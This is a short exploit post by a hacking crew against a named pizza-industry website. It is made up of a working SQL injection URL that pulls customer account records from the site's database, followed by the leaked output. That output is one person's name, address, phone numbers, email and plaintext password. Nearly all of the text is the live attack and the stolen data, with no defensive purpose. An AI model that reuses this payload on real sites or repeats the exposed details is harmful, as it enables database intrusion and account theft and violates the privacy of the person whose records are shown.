[Gho5t] PizzaMarketPlace.com SQL Injection

[imported_D4nt3]

######################################################################################
# Author/s: Dante90 & Gho5t, WaRWolFz Crew                                           #
# Target: http://www.pizzamarketplace.com/                                           #
# Web: www.warwolfz.org                                                              #
# Vulnerability: SQL Injection                                                       #
######################################################################################

http://www.pizzamarketplace.com/article_email.php?id=-1 UNION SELECT CONCAT(id,CHAR(32,58,32),fname,CHAR(32,58,32),lname,CHAR(32,58,32),email,CHAR(32,58,32),address1,CHAR(32,58,32),address2,CHAR(32,58,32),city,CHAR(32,58,32),state,CHAR(32,58,32),zip,CHAR(32,58,32),country,CHAR(32,58,32),phone,CHAR(32,58,32),fax,CHAR(32,58,32),password) FROM buyersguide.accounts/*

You are sending the article, "1 : Glendon : Solsberry : [email protected] : 513 : Presley, Ln : Jeffersonville : 17 : 47130 : 217 : 5022417545 : 8127251178 : p2aBExch" to a friend.


Dante90 & Gho5t